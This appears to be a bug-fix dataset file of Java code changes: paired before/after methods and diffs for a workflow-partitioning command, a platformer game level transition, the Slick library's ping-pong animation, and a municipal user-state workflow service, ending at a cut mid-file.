public void executeCommand(String[] args) { int option = 0; LongOpt[] longOptions = generateValidOptions(); Getopt g = new Getopt("PartitionDAX", args, "vhVD:d:t:", longOptions, false); boolean help = false; boolean version = false; //log the starting time double starttime = new Date().getTime(); int level = 0; while ( (option = g.getopt()) != -1) { //System.out.println("Option tag " + option); switch (option) { case 'd': //dax mDAXFile = g.getOptarg(); break; case 'D': //dir mDirectory = g.getOptarg(); break; case 't': //type mType = g.getOptarg(); break; case 'v': //verbose //set the verbose level in the logger level++; break; case 'V': //version version = true; break; case 'h': //help help = true; break; default: //same as help mLogger.log("Unrecognized Option " + Integer.toString(option), LogManager.FATAL_MESSAGE_LEVEL); printShortVersion(); System.exit(1); break; } } if ( level > 0 ) { //set the logging level only if -v was specified //else bank upon the the default logging level mLogger.setLevel( level ); } if ( ( help && version ) || help ) { printLongVersion(); System.exit( 0 ); } else if ( version ) { //print the version message mLogger.log( getGVDSVersion(), LogManager.INFO_MESSAGE_LEVEL ); System.exit( 0 ); } //sanity check for the dax file if ( mDAXFile == null || mDAXFile.length() == 0 ) { mLogger.log( "The dax file that is to be partitioned not " + "specified", LogManager.FATAL_MESSAGE_LEVEL ); printShortVersion(); System.exit(1); } //always try to make the directory //referred to by the directory File dir = new File( mDirectory ); dir.mkdirs(); //build up the partition graph String callbackClass = ( mType.equalsIgnoreCase("label") ) ? "DAX2LabelGraph": //graph with labels populated "DAX2Graph"; //load the appropriate partitioner Callback callback = null; Partitioner partitioner = null; String daxName = null; int state = 0; try{ callback = DAXCallbackFactory.loadInstance( mProps, mDAXFile, callbackClass ); //set the appropriate key that is to be used for picking up the labels if( callback instanceof DAX2LabelGraph ){ ((DAX2LabelGraph)callback).setLabelKey( mProps.getPartitionerLabelKey() ); } state = 1; DaxParser d = new DaxParser( mDAXFile, mProps, callback ); state = 2; //get the graph map Map graphMap = (Map) callback.getConstructedObject(); //get the fake dummy root node GraphNode root = (GraphNode) graphMap.get( DAX2Graph.DUMMY_NODE_ID ); daxName = ( (DAX2Graph) callback).getNameOfDAX(); state = 3; partitioner = PartitionerFactory.loadInstance( mProps, root, graphMap, mType ); } catch ( FactoryException fe){ mLogger.log( fe.convertException() , LogManager.FATAL_MESSAGE_LEVEL); System.exit( 2 ); } catch( Exception e ){ int errorStatus = 1; switch(state){ case 0: mLogger.log( "Unable to load the DAXCallback", e, LogManager.FATAL_MESSAGE_LEVEL ); errorStatus = 2; break; case 1: mLogger.log( "Error while parsing the DAX file", LogManager.FATAL_MESSAGE_LEVEL ); errorStatus = 1; break; case 2: mLogger.log( "Error while determining the root of the parsed DAX", e, LogManager.FATAL_MESSAGE_LEVEL ); errorStatus = 1; break; case 3: mLogger.log( "Unable to load the partitioner", e, LogManager.FATAL_MESSAGE_LEVEL ); errorStatus = 2; break; default: mLogger.log( "Unknown Error", e, LogManager.FATAL_MESSAGE_LEVEL ); errorStatus = 1; break; } System.exit( errorStatus ); } //load the writer callback that writes out //the partitioned daxes and PDAX WriterCallback cb = new WriterCallback(); cb.initialize( mProps, mDAXFile, daxName, mDirectory ); //start the partitioning of the graph partitioner.determinePartitions( cb ); //log the end time and time execute double endtime = new Date().getTime(); double execTime = (endtime - starttime)/1000; mLogger.log("Time taken to execute is " + execTime + " seconds", LogManager.INFO_MESSAGE_LEVEL); System.exit(0); }
public void executeCommand(String[] args) { int option = 0; LongOpt[] longOptions = generateValidOptions(); Getopt g = new Getopt("PartitionDAX", args, "vhVD:d:t:", longOptions, false); boolean help = false; boolean version = false; //log the starting time double starttime = new Date().getTime(); int level = 0; while ( (option = g.getopt()) != -1) { //System.out.println("Option tag " + option); switch (option) { case 'd': //dax mDAXFile = g.getOptarg(); break; case 'D': //dir mDirectory = g.getOptarg(); break; case 't': //type mType = g.getOptarg(); break; case 'v': //verbose //set the verbose level in the logger level++; break; case 'V': //version version = true; break; case 'h': //help help = true; break; default: //same as help mLogger.log("Unrecognized Option " + Integer.toString(option), LogManager.FATAL_MESSAGE_LEVEL); printShortVersion(); System.exit(1); break; } } if ( level > 0 ) { //set the logging level only if -v was specified //else bank upon the the default logging level mLogger.setLevel( level ); } if ( ( help && version ) || help ) { printLongVersion(); System.exit( 0 ); } else if ( version ) { //print the version message mLogger.log( getGVDSVersion(), LogManager.INFO_MESSAGE_LEVEL ); System.exit( 0 ); } //sanity check for the dax file if ( mDAXFile == null || mDAXFile.length() == 0 ) { mLogger.log( "The dax file that is to be partitioned not " + "specified", LogManager.FATAL_MESSAGE_LEVEL ); printShortVersion(); System.exit(1); } //always try to make the directory //referred to by the directory File dir = new File( mDirectory ); dir.mkdirs(); //build up the partition graph String callbackClass = ( mType.equalsIgnoreCase("label") ) ? "DAX2LabelGraph": //graph with labels populated "DAX2Graph"; //load the appropriate partitioner Callback callback = null; Partitioner partitioner = null; String daxName = null; int state = 0; try{ callback = DAXCallbackFactory.loadInstance( mProps, mDAXFile, callbackClass ); //set the appropriate key that is to be used for picking up the labels if( callback instanceof DAX2LabelGraph ){ ((DAX2LabelGraph)callback).setLabelKey( mProps.getPartitionerLabelKey() ); } state = 1; DaxParser d = new DaxParser( mDAXFile, mProps, callback ); state = 2; //get the graph map Map graphMap = (Map) callback.getConstructedObject(); //get the fake dummy root node GraphNode root = (GraphNode) graphMap.get( DAX2Graph.DUMMY_NODE_ID ); daxName = ( (DAX2Graph) callback).getNameOfDAX(); state = 3; partitioner = PartitionerFactory.loadInstance( mProps, root, graphMap, mType ); } catch ( FactoryException fe){ mLogger.log( fe.convertException() , LogManager.FATAL_MESSAGE_LEVEL); System.exit( 2 ); } catch( Exception e ){ int errorStatus = 1; switch(state){ case 0: mLogger.log( "Unable to load the DAXCallback", e, LogManager.FATAL_MESSAGE_LEVEL ); errorStatus = 2; break; case 1: mLogger.log( "Error while parsing the DAX file", e , LogManager.FATAL_MESSAGE_LEVEL ); errorStatus = 1; break; case 2: mLogger.log( "Error while determining the root of the parsed DAX", e, LogManager.FATAL_MESSAGE_LEVEL ); errorStatus = 1; break; case 3: mLogger.log( "Unable to load the partitioner", e, LogManager.FATAL_MESSAGE_LEVEL ); errorStatus = 2; break; default: mLogger.log( "Unknown Error", e, LogManager.FATAL_MESSAGE_LEVEL ); errorStatus = 1; break; } System.exit( errorStatus ); } //load the writer callback that writes out //the partitioned daxes and PDAX WriterCallback cb = new WriterCallback(); cb.initialize( mProps, mDAXFile, daxName, mDirectory ); //start the partitioning of the graph partitioner.determinePartitions( cb ); //log the end time and time execute double endtime = new Date().getTime(); double execTime = (endtime - starttime)/1000; mLogger.log("Time taken to execute is " + execTime + " seconds", LogManager.INFO_MESSAGE_LEVEL); System.exit(0); }
diff --git a/JimmyCannotBreathe/src/GameState/Levels/Level12State.java b/JimmyCannotBreathe/src/GameState/Levels/Level12State.java index b78a291..e864f3f 100644 --- a/JimmyCannotBreathe/src/GameState/Levels/Level12State.java +++ b/JimmyCannotBreathe/src/GameState/Levels/Level12State.java @@ -1,132 +1,132 @@ package GameState.Levels; import java.awt.Graphics2D; import java.awt.event.KeyEvent; import java.util.ArrayList; import Entity.Enemy; import Entity.HUD; import Entity.Player; import Entity.Tombstone; import Entity.Enemies.Devil; import GameState.GameState; import GameState.GameStateManager; import Main.GamePanel; import TileMap.Background; import TileMap.TileMap; public class Level12State extends GameState { private Background bg; private TileMap tileMap; private Player player; private ArrayList<Enemy> enemies; private HUD hud; private Devil devil; private boolean triggered = false; private Tombstone tomby; public Level12State(GameStateManager gsm){ this.gsm = gsm; init(); } @Override public void init() { enemies = new ArrayList<Enemy>(); tileMap = new TileMap(30); tileMap.loadTiles("/Tilesets/hellTileSet.png"); tileMap.loadMap("/Maps/4-3.map"); tileMap.setPosition(0, 0); tileMap.setTween(1); bg = new Background("/Backgrounds/DarkForestLoop.png", 0.1); player = new Player("/Sprites/RedJimmy.png", tileMap); player.setPosition(120, 120); hud = new HUD(player); devil = new Devil(tileMap, enemies); devil.setPosition(500, 450); enemies.add(devil); } @Override public void update() { // TODO Auto-generated method stub player.update(); player.checkAttack(enemies); bg.setPosition(tileMap.getx(), 0); if(devil.isDead()){ - gsm.setState(GameStateManager.LEVEL11STATE); + gsm.setState(GameStateManager.LEVEL13STATE); } tileMap.setPosition( 0, GamePanel.HEIGHT / 2 - player.gety()); if(player.isDead()){ player.setPosition(100, 500); player.reset(); //restart(); player.revive(); } for(int i = 0; i < enemies.size(); i++){ Enemy e = enemies.get(i); e.update(); if(player.isDrunk()){ e.kill(); } if(e.isDead()){ enemies.remove(i); devil.addDefeated(); e.addScore(Level2State.score); i--; } } } @Override public void draw(Graphics2D g){ bg.draw(g); tileMap.draw(g); player.draw(g); for(int i = 0; i < enemies.size(); i++){ enemies.get(i).draw(g); } if(triggered){ tomby.draw(g); } hud.draw(g); } public void keyPressed(int k){ if(k == KeyEvent.VK_RIGHT) player.setRight(true); if(k == KeyEvent.VK_LEFT) player.setLeft(true); if(k == KeyEvent.VK_W) player.setJumping(true); if(k == KeyEvent.VK_R) player.setScratching(); if(k == KeyEvent.VK_F) player.setFiring(); } public void keyReleased(int k){ if(k == KeyEvent.VK_RIGHT) player.setRight(false); if(k == KeyEvent.VK_LEFT) player.setLeft(false); if(k == KeyEvent.VK_W) player.setJumping(false); } }
true
true
public void update() { // TODO Auto-generated method stub player.update(); player.checkAttack(enemies); bg.setPosition(tileMap.getx(), 0); if(devil.isDead()){ gsm.setState(GameStateManager.LEVEL11STATE); } tileMap.setPosition( 0, GamePanel.HEIGHT / 2 - player.gety()); if(player.isDead()){ player.setPosition(100, 500); player.reset(); //restart(); player.revive(); } for(int i = 0; i < enemies.size(); i++){ Enemy e = enemies.get(i); e.update(); if(player.isDrunk()){ e.kill(); } if(e.isDead()){ enemies.remove(i); devil.addDefeated(); e.addScore(Level2State.score); i--; } } }
public void update() { // TODO Auto-generated method stub player.update(); player.checkAttack(enemies); bg.setPosition(tileMap.getx(), 0); if(devil.isDead()){ gsm.setState(GameStateManager.LEVEL13STATE); } tileMap.setPosition( 0, GamePanel.HEIGHT / 2 - player.gety()); if(player.isDead()){ player.setPosition(100, 500); player.reset(); //restart(); player.revive(); } for(int i = 0; i < enemies.size(); i++){ Enemy e = enemies.get(i); e.update(); if(player.isDrunk()){ e.kill(); } if(e.isDead()){ enemies.remove(i); devil.addDefeated(); e.addScore(Level2State.score); i--; } } }
diff --git a/Slick/src/org/newdawn/slick/Animation.java b/Slick/src/org/newdawn/slick/Animation.java index 7dcbb64..fb21ac3 100644 --- a/Slick/src/org/newdawn/slick/Animation.java +++ b/Slick/src/org/newdawn/slick/Animation.java @@ -1,695 +1,700 @@ package org.newdawn.slick; import java.util.ArrayList; import org.lwjgl.Sys; import org.newdawn.slick.util.Log; /** * A utility to hold and render animations * * @author kevin * @author DeX (speed updates) */ public class Animation implements Renderable { /** The list of frames to render in this animation */ private ArrayList frames = new ArrayList(); /** The frame currently being displayed */ private int currentFrame = -1; /** The time the next frame change should take place */ private long nextChange = 0; /** True if the animation is stopped */ private boolean stopped = false; /** The time left til the next frame */ private long timeLeft; /** The current speed of the animation */ private float speed = 1.0f; /** The frame to stop at */ private int stopAt = -2; /** The last time the frame was automagically updated */ private long lastUpdate; /** True if this is the first update */ private boolean firstUpdate = true; /** True if we should auto update the animation - default true */ private boolean autoUpdate = true; /** The direction the animation is running */ private int direction = 1; /** True if the animation in ping ponging back and forth */ private boolean pingPong; /** True if the animation should loop (default) */ private boolean loop = true; /** The spriteSheet backing this animation */ private SpriteSheet spriteSheet = null; /** * Create an empty animation */ public Animation() { this(true); } /** * Create a new animation from a set of images * * @param frames The images for the animation frames * @param duration The duration to show each frame */ public Animation(Image[] frames, int duration) { this(frames, duration, true); } /** * Create a new animation from a set of images * * @param frames The images for the animation frames * @param durations The duration to show each frame */ public Animation(Image[] frames, int[] durations) { this(frames, durations, true); } /** * Create an empty animation * * @param autoUpdate True if this animation should automatically update. This means that the * current frame will be caculated based on the time between renders */ public Animation(boolean autoUpdate) { currentFrame = 0; this.autoUpdate = autoUpdate; } /** * Create a new animation from a set of images * * @param frames The images for the animation frames * @param duration The duration to show each frame * @param autoUpdate True if this animation should automatically update. This means that the * current frame will be caculated based on the time between renders */ public Animation(Image[] frames, int duration, boolean autoUpdate) { for (int i=0;i<frames.length;i++) { addFrame(frames[i], duration); } currentFrame = 0; this.autoUpdate = autoUpdate; } /** * Create a new animation from a set of images * * @param frames The images for the animation frames * @param durations The duration to show each frame * @param autoUpdate True if this animation should automatically update. This means that the * current frame will be caculated based on the time between renders */ public Animation(Image[] frames, int[] durations, boolean autoUpdate) { this.autoUpdate = autoUpdate; if (frames.length != durations.length) { throw new RuntimeException("There must be one duration per frame"); } for (int i=0;i<frames.length;i++) { addFrame(frames[i], durations[i]); } currentFrame = 0; } /** * Create a new animation based on the sprite from a sheet. It assumed that * the sprites are organised on horizontal scan lines and that every sprite * in the sheet should be used. * * @param frames The sprite sheet containing the frames * @param duration The duration each frame should be displayed for */ public Animation(SpriteSheet frames, int duration) { this(frames, 0,0,frames.getHorizontalCount()-1,frames.getVerticalCount()-1,true,duration,true); } /** * Create a new animation based on a selection of sprites from a sheet * * @param frames The sprite sheet containing the frames * @param x1 The x coordinate of the first sprite from the sheet to appear in the animation * @param y1 The y coordinate of the first sprite from the sheet to appear in the animation * @param x2 The x coordinate of the last sprite from the sheet to appear in the animation * @param y2 The y coordinate of the last sprite from the sheet to appear in the animation * @param horizontalScan True if the sprites are arranged in hoizontal scan lines. Otherwise * vertical is assumed * @param duration The duration each frame should be displayed for * @param autoUpdate True if this animation should automatically update based on the render times */ public Animation(SpriteSheet frames, int x1, int y1, int x2, int y2, boolean horizontalScan, int duration, boolean autoUpdate) { this.autoUpdate = autoUpdate; if (!horizontalScan) { for (int x=x1;x<=x2;x++) { for (int y=y1;y<=y2;y++) { addFrame(frames.getSprite(x, y), duration); } } } else { for (int y=y1;y<=y2;y++) { for (int x=x1;x<=x2;x++) { addFrame(frames.getSprite(x, y), duration); } } } } /** * Creates a new Animation where each frame is a sub-image of <tt>SpriteSheet</tt> ss. * @param ss The <tt>SpriteSheet</tt> backing this animation * @param frames An array of coordinates of sub-image locations for each frame * @param duration The duration each frame should be displayed for */ public Animation(SpriteSheet ss, int[] frames, int[] duration){ spriteSheet = ss; int x = -1; int y = -1; for(int i = 0; i < frames.length/2; i++){ x = frames[i*2]; y = frames[i*2 + 1]; addFrame(duration[i], x, y); } } /** * Add animation frame to the animation. * @param duration The duration to display the frame for * @param x The x location of the frame on the <tt>SpriteSheet</tt> * @param y The y location of the frame on the <tt>spriteSheet</tt> */ public void addFrame(int duration, int x, int y){ if (duration == 0) { Log.error("Invalid duration: "+duration); throw new RuntimeException("Invalid duration: "+duration); } if (frames.isEmpty()) { nextChange = (int) (duration / speed); } frames.add(new Frame(duration, x, y)); currentFrame = 0; } /** * Indicate if this animation should automatically update based on the * time between renders or if it should need updating via the update() * method. * * @param auto True if this animation should automatically update */ public void setAutoUpdate(boolean auto) { this.autoUpdate = auto; } /** * Indicate if this animation should ping pong back and forth * * @param pingPong True if the animation should ping pong */ public void setPingPong(boolean pingPong) { this.pingPong = pingPong; } /** * Check if this animation has stopped (either explictly or because it's reached its target frame) * * @see #stopAt * @return True if the animation has stopped */ public boolean isStopped() { return stopped; } /** * Adjust the overall speed of the animation. * * @param spd The speed to run the animation. Default: 1.0 */ public void setSpeed(float spd) { if (spd > 0) { // Adjust nextChange nextChange = (long) (nextChange * speed / spd); speed = spd; } } /** * Returns the current speed of the animation. * * @return The speed this animation is being played back at */ public float getSpeed() { return speed; } /** * Stop the animation */ public void stop() { if (frames.size() == 0) { return; } timeLeft = nextChange; stopped = true; } /** * Start the animation playing again */ public void start() { if (!stopped) { return; } if (frames.size() == 0) { return; } stopped = false; nextChange = timeLeft; } /** * Restart the animation from the beginning */ public void restart() { if (frames.size() == 0) { return; } stopped = false; currentFrame = 0; nextChange = (int) (((Frame) frames.get(0)).duration / speed); firstUpdate = true; lastUpdate = 0; } /** * Add animation frame to the animation * * @param frame The image to display for the frame * @param duration The duration to display the frame for */ public void addFrame(Image frame, int duration) { if (duration == 0) { Log.error("Invalid duration: "+duration); throw new RuntimeException("Invalid duration: "+duration); } if (frames.isEmpty()) { nextChange = (int) (duration / speed); } frames.add(new Frame(frame, duration)); currentFrame = 0; } /** * Draw the animation to the screen */ public void draw() { draw(0,0); } /** * Draw the animation at a specific location * * @param x The x position to draw the animation at * @param y The y position to draw the animation at */ public void draw(float x,float y) { draw(x,y,getWidth(),getHeight()); } /** * Draw the animation at a specific location * * @param x The x position to draw the animation at * @param y The y position to draw the animation at * @param filter The filter to apply */ public void draw(float x,float y, Color filter) { draw(x,y,getWidth(),getHeight(), filter); } /** * Draw the animation * * @param x The x position to draw the animation at * @param y The y position to draw the animation at * @param width The width to draw the animation at * @param height The height to draw the animation at */ public void draw(float x,float y,float width,float height) { draw(x,y,width,height,Color.white); } /** * Draw the animation * * @param x The x position to draw the animation at * @param y The y position to draw the animation at * @param width The width to draw the animation at * @param height The height to draw the animation at * @param col The colour filter to use */ public void draw(float x,float y,float width,float height, Color col) { if (frames.size() == 0) { return; } if (autoUpdate) { long now = getTime(); long delta = now - lastUpdate; if (firstUpdate) { delta = 0; firstUpdate = false; } lastUpdate = now; nextFrame(delta); } Frame frame = (Frame) frames.get(currentFrame); frame.image.draw(x,y,width,height, col); } /** * Render the appropriate frame when the spriteSheet backing this Animation is in use. * @param x The x position to draw the animation at * @param y The y position to draw the animation at */ public void renderInUse(int x, int y){ if (frames.size() == 0) { return; } if (autoUpdate) { long now = getTime(); long delta = now - lastUpdate; if (firstUpdate) { delta = 0; firstUpdate = false; } lastUpdate = now; nextFrame(delta); } Frame frame = (Frame) frames.get(currentFrame); spriteSheet.renderInUse(x, y, frame.x, frame.y); } /** * Get the width of the current frame * * @return The width of the current frame */ public int getWidth() { return ((Frame) frames.get(currentFrame)).image.getWidth(); } /** * Get the height of the current frame * * @return The height of the current frame */ public int getHeight() { return ((Frame) frames.get(currentFrame)).image.getHeight(); } /** * Draw the animation * * @param x The x position to draw the animation at * @param y The y position to draw the animation at * @param width The width to draw the animation at * @param height The height to draw the animation at */ public void drawFlash(float x,float y,float width,float height) { drawFlash(x,y,width,height, Color.white); } /** * Draw the animation * * @param x The x position to draw the animation at * @param y The y position to draw the animation at * @param width The width to draw the animation at * @param height The height to draw the animation at * @param col The colour for the flash */ public void drawFlash(float x,float y,float width,float height, Color col) { if (frames.size() == 0) { return; } if (autoUpdate) { long now = getTime(); long delta = now - lastUpdate; if (firstUpdate) { delta = 0; firstUpdate = false; } lastUpdate = now; nextFrame(delta); } Frame frame = (Frame) frames.get(currentFrame); frame.image.drawFlash(x,y,width,height,col); } /** * Update the animation cycle without draw the image, useful * for keeping two animations in sync * * @deprecated */ public void updateNoDraw() { if (autoUpdate) { long now = getTime(); long delta = now - lastUpdate; if (firstUpdate) { delta = 0; firstUpdate = false; } lastUpdate = now; nextFrame(delta); } } /** * Update the animation, note that this will have odd effects if auto update * is also turned on * * @see #autoUpdate * @param delta The amount of time thats passed since last update */ public void update(long delta) { nextFrame(delta); } /** * Get the index of the current frame * * @return The index of the current frame */ public int getFrame() { return currentFrame; } /** * Set the current frame to be rendered * * @param index The index of the frame to rendered */ public void setCurrentFrame(int index) { currentFrame = index; } /** * Get the image assocaited with a given frame index * * @param index The index of the frame image to retrieve * @return The image of the specified animation frame */ public Image getImage(int index) { Frame frame = (Frame) frames.get(index); return frame.image; } /** * Get the number of frames that are in the animation * * @return The number of frames that are in the animation */ public int getFrameCount() { return frames.size(); } /** * Get the image associated with the current animation frame * * @return The image associated with the current animation frame */ public Image getCurrentFrame() { Frame frame = (Frame) frames.get(currentFrame); return frame.image; } /** * Check if we need to move to the next frame * * @param delta The amount of time thats passed since last update */ private void nextFrame(long delta) { if (stopped) { return; } if (frames.size() == 0) { return; } nextChange -= delta; while (nextChange < 0 && (!stopped)) { if (currentFrame == stopAt) { stopped = true; break; } if ((currentFrame == frames.size() - 1) && (!loop)) { stopped = true; break; } currentFrame = (currentFrame + direction) % frames.size(); if (pingPong) { - if ((currentFrame == 0) || (currentFrame == frames.size()-1)) { - direction = -direction; + if (currentFrame <= 0) { + currentFrame = 0; + direction = 1; + } + if (currentFrame >= frames.size()-1) { + currentFrame = frames.size()-1; + direction = -1; } } int realDuration = (int) (((Frame) frames.get(currentFrame)).duration / speed); nextChange = nextChange + realDuration; } } /** * Indicate if this animation should loop or stop at the last frame * * @param loop True if this animation should loop (true = default) */ public void setLooping(boolean loop) { this.loop = loop; } /** * Get the accurate system time * * @return The system time in milliseconds */ private long getTime() { return (Sys.getTime() * 1000) / Sys.getTimerResolution(); } /** * Indicate the animation should stop when it reaches the specified * frame index (note, not frame number but index in the animation * * @param frameIndex The index of the frame to stop at */ public void stopAt(int frameIndex) { stopAt = frameIndex; } /** * Get the duration of a particular frame * * @param index The index of the given frame * @return The duration in (ms) of the given frame */ public int getDuration(int index) { return ((Frame) frames.get(index)).duration; } /** * Set the duration of the given frame * * @param index The index of the given frame * @param duration The duration in (ms) for the given frame */ public void setDuration(int index, int duration) { ((Frame) frames.get(index)).duration = duration; } /** * Get the durations of all the frames in this animation * * @return The durations of all the frames in this animation */ public int[] getDurations() { int[] durations = new int[frames.size()]; for (int i=0;i<frames.size();i++) { durations[i] = getDuration(i); } return durations; } /** * @see java.lang.Object#toString() */ public String toString() { String res = "[Animation ("+frames.size()+") "; for (int i=0;i<frames.size();i++) { Frame frame = (Frame) frames.get(i); res += frame.duration+","; } res += "]"; return res; } /** * A single frame within the animation * * @author kevin */ private class Frame { /** The image to display for this frame */ public Image image; /** The duration to display the image fro */ public int duration; /** The x location of this frame on a SpriteSheet*/ public int x = -1; /** The y location of this frame on a SpriteSheet*/ public int y = -1; /** * Create a new animation frame * * @param image The image to display for the frame * @param duration The duration in millisecond to display the image for */ public Frame(Image image, int duration) { this.image = image; this.duration = duration; } /** * Creates a new animation frame with the frames image location on a sprite sheet * @param duration The duration in millisecond to display the image for * @param x the x location of the frame on the <tt>SpriteSheet</tt> * @param y the y location of the frame on the <tt>SpriteSheet</tt> */ public Frame(int duration, int x, int y) { this.image = spriteSheet.getSubImage(x, y); this.duration = duration; this.x = x; this.y = y; } } }
true
true
private void nextFrame(long delta) { if (stopped) { return; } if (frames.size() == 0) { return; } nextChange -= delta; while (nextChange < 0 && (!stopped)) { if (currentFrame == stopAt) { stopped = true; break; } if ((currentFrame == frames.size() - 1) && (!loop)) { stopped = true; break; } currentFrame = (currentFrame + direction) % frames.size(); if (pingPong) { if ((currentFrame == 0) || (currentFrame == frames.size()-1)) { direction = -direction; } } int realDuration = (int) (((Frame) frames.get(currentFrame)).duration / speed); nextChange = nextChange + realDuration; } }
private void nextFrame(long delta) { if (stopped) { return; } if (frames.size() == 0) { return; } nextChange -= delta; while (nextChange < 0 && (!stopped)) { if (currentFrame == stopAt) { stopped = true; break; } if ((currentFrame == frames.size() - 1) && (!loop)) { stopped = true; break; } currentFrame = (currentFrame + direction) % frames.size(); if (pingPong) { if (currentFrame <= 0) { currentFrame = 0; direction = 1; } if (currentFrame >= frames.size()-1) { currentFrame = frames.size()-1; direction = -1; } } int realDuration = (int) (((Frame) frames.get(currentFrame)).duration / speed); nextChange = nextChange + realDuration; } }
diff --git a/Model/src/java/fr/cg95/cvq/service/users/impl/UserWorkflowService.java b/Model/src/java/fr/cg95/cvq/service/users/impl/UserWorkflowService.java index 176918421..f990bae16 100644 --- a/Model/src/java/fr/cg95/cvq/service/users/impl/UserWorkflowService.java +++ b/Model/src/java/fr/cg95/cvq/service/users/impl/UserWorkflowService.java @@ -1,205 +1,208 @@ package fr.cg95.cvq.service.users.impl; import java.io.File; import java.util.ArrayList; import java.util.Date; import java.util.HashMap; import java.util.List; import java.util.Map; import org.springframework.context.ApplicationEventPublisher; import org.springframework.context.ApplicationEventPublisherAware; import com.google.gson.JsonObject; import fr.cg95.cvq.business.authority.LocalAuthorityResource; import fr.cg95.cvq.business.users.HomeFolder; import fr.cg95.cvq.business.users.Individual; import fr.cg95.cvq.business.users.UserAction; import fr.cg95.cvq.business.users.UserState; import fr.cg95.cvq.business.users.UserWorkflow; import fr.cg95.cvq.business.users.UserEvent; import fr.cg95.cvq.dao.users.IHomeFolderDAO; import fr.cg95.cvq.exception.CvqInvalidTransitionException; import fr.cg95.cvq.exception.CvqModelException; import fr.cg95.cvq.security.SecurityContext; import fr.cg95.cvq.security.annotation.Context; import fr.cg95.cvq.security.annotation.ContextPrivilege; import fr.cg95.cvq.security.annotation.ContextType; import fr.cg95.cvq.service.authority.ILocalAuthorityRegistry; import fr.cg95.cvq.service.users.IHomeFolderService; import fr.cg95.cvq.service.users.IUserWorkflowService; import fr.cg95.cvq.util.translation.ITranslationService; public class UserWorkflowService implements IUserWorkflowService, ApplicationEventPublisherAware { private ApplicationEventPublisher applicationEventPublisher; private ILocalAuthorityRegistry localAuthorityRegistry; private ITranslationService translationService; private IHomeFolderService homeFolderService; private IHomeFolderDAO homeFolderDAO; private Map<String, UserWorkflow> workflows = new HashMap<String, UserWorkflow>(); @Override public UserState[] getPossibleTransitions(UserState state) { return getWorkflow().getPossibleTransitions(state); } @Override @Context(types = {ContextType.AGENT}, privilege = ContextPrivilege.READ) public UserState[] getPossibleTransitions(Individual user) { UserState[] allStates = getPossibleTransitions(user.getState()); List<UserState> result = new ArrayList<UserState>(allStates.length); for (UserState state : allStates) result.add(state); if (homeFolderService.getHomeFolderResponsible(user.getHomeFolder().getId()).getId() .equals(user.getId())) { for (Individual i : user.getHomeFolder().getIndividuals()) { if (!i.getId().equals(user.getId()) && !UserState.ARCHIVED.equals(i.getState())) { result.remove(UserState.ARCHIVED); break; } } } return result.toArray(new UserState[result.size()]); } @Override @Context(types = {ContextType.AGENT}, privilege = ContextPrivilege.READ) public UserState[] getPossibleTransitions(HomeFolder user) { return getPossibleTransitions(user.getState()); } @Override public boolean isValidTransition(UserState from, UserState to) { return getWorkflow().isValidTransition(from, to); } @Override public UserState[] getStatesBefore(UserState state) { return getWorkflow().getStatesBefore(state); } @Override public UserState[] getStatesWithProperty(String propertyName) { return getWorkflow().getStatesWithProperty(propertyName); } private UserWorkflow getWorkflow() { String name = SecurityContext.getCurrentSite().getName(); UserWorkflow workflow = workflows.get(name); if (workflow == null) { File file = localAuthorityRegistry.getLocalAuthorityResourceFileForLocalAuthority(name, LocalAuthorityResource.Type.XML, "userWorkflow", false); if (file.exists()) { workflow = UserWorkflow.load(file); workflows.put(name, workflow); } else { workflow = workflows.get("default"); if (workflow == null) { file = localAuthorityRegistry.getReferentialResource( LocalAuthorityResource.Type.XML, "userWorkflow"); workflow = UserWorkflow.load(file); workflows.put("default", workflow); } } } return workflow; } @Override @Context(types = {ContextType.ECITIZEN, ContextType.AGENT}, privilege = ContextPrivilege.WRITE) public void changeState(HomeFolder homeFolder, UserState state) throws CvqModelException, CvqInvalidTransitionException { if (!isValidTransition(homeFolder.getState(), state)) throw new CvqInvalidTransitionException( translationService.translate( "user.state." + homeFolder.getState().toString().toLowerCase()), translationService.translate( "user.state." + state.toString().toLowerCase())); if (UserState.VALID.equals(state)) { for (Individual individual : homeFolder.getIndividuals()) { if (!UserState.VALID.equals(individual.getState()) && !UserState.ARCHIVED.equals(individual.getState())) throw new CvqModelException(""); } } homeFolder.setState(state); JsonObject payload = new JsonObject(); payload.addProperty("state", state.toString()); UserAction action = new UserAction(UserAction.Type.STATE_CHANGE, homeFolder.getId(), payload); homeFolder.getActions().add(action); homeFolderDAO.update(homeFolder); applicationEventPublisher.publishEvent(new UserEvent(this, action)); } @Override @Context(types = {ContextType.ECITIZEN, ContextType.AGENT}, privilege = ContextPrivilege.WRITE) public void changeState(Individual individual, UserState state) throws CvqModelException, CvqInvalidTransitionException { if (!isValidTransition(individual.getState(), state)) throw new CvqInvalidTransitionException( translationService.translate( "user.state." + individual.getState().toString().toLowerCase()), translationService.translate( "user.state." + state.toString().toLowerCase())); individual.setState(state); individual.setLastModificationDate(new Date()); if (SecurityContext.isBackOfficeContext()) { individual.setQoS(null); } HomeFolder homeFolder = individual.getHomeFolder(); if (UserState.ARCHIVED.equals(state) && individual.getId().equals( homeFolderService.getHomeFolderResponsible(homeFolder.getId()).getId())) { for (Individual i : homeFolder.getIndividuals()) { if (!UserState.ARCHIVED.equals(i.getState())) throw new CvqModelException("user.state.error.mustArchiveResponsibleLast"); } } JsonObject payload = new JsonObject(); payload.addProperty("state", state.toString()); UserAction action = new UserAction(UserAction.Type.STATE_CHANGE, individual.getId(), payload); individual.getHomeFolder().getActions().add(action); homeFolderDAO.update(individual.getHomeFolder()); applicationEventPublisher.publishEvent(new UserEvent(this, action)); if (UserState.INVALID.equals(state) && !UserState.INVALID.equals(homeFolder.getState())) changeState(individual.getHomeFolder(), UserState.INVALID); else if (UserState.VALID.equals(state) || UserState.ARCHIVED.equals(state)) { UserState homeFolderState = state; for (Individual i : individual.getHomeFolder().getIndividuals()) { if (UserState.VALID.equals(i.getState())) { homeFolderState = UserState.VALID; } else if (!UserState.ARCHIVED.equals(i.getState())) { homeFolderState = null; break; } } - if (homeFolderState != null) changeState(individual.getHomeFolder(), homeFolderState); + if (homeFolderState != null + && homeFolderState.equals(UserState.VALID) + && !UserState.VALID.equals(individual.getHomeFolder().getState())) + changeState(individual.getHomeFolder(), homeFolderState); } } @Override public void setApplicationEventPublisher(ApplicationEventPublisher applicationEventPublisher) { this.applicationEventPublisher = applicationEventPublisher; } public void setLocalAuthorityRegistry(ILocalAuthorityRegistry localAuthorityRegistry) { this.localAuthorityRegistry = localAuthorityRegistry; } public void setTranslationService(ITranslationService translationService) { this.translationService = translationService; } public void setHomeFolderService(IHomeFolderService homeFolderService) { 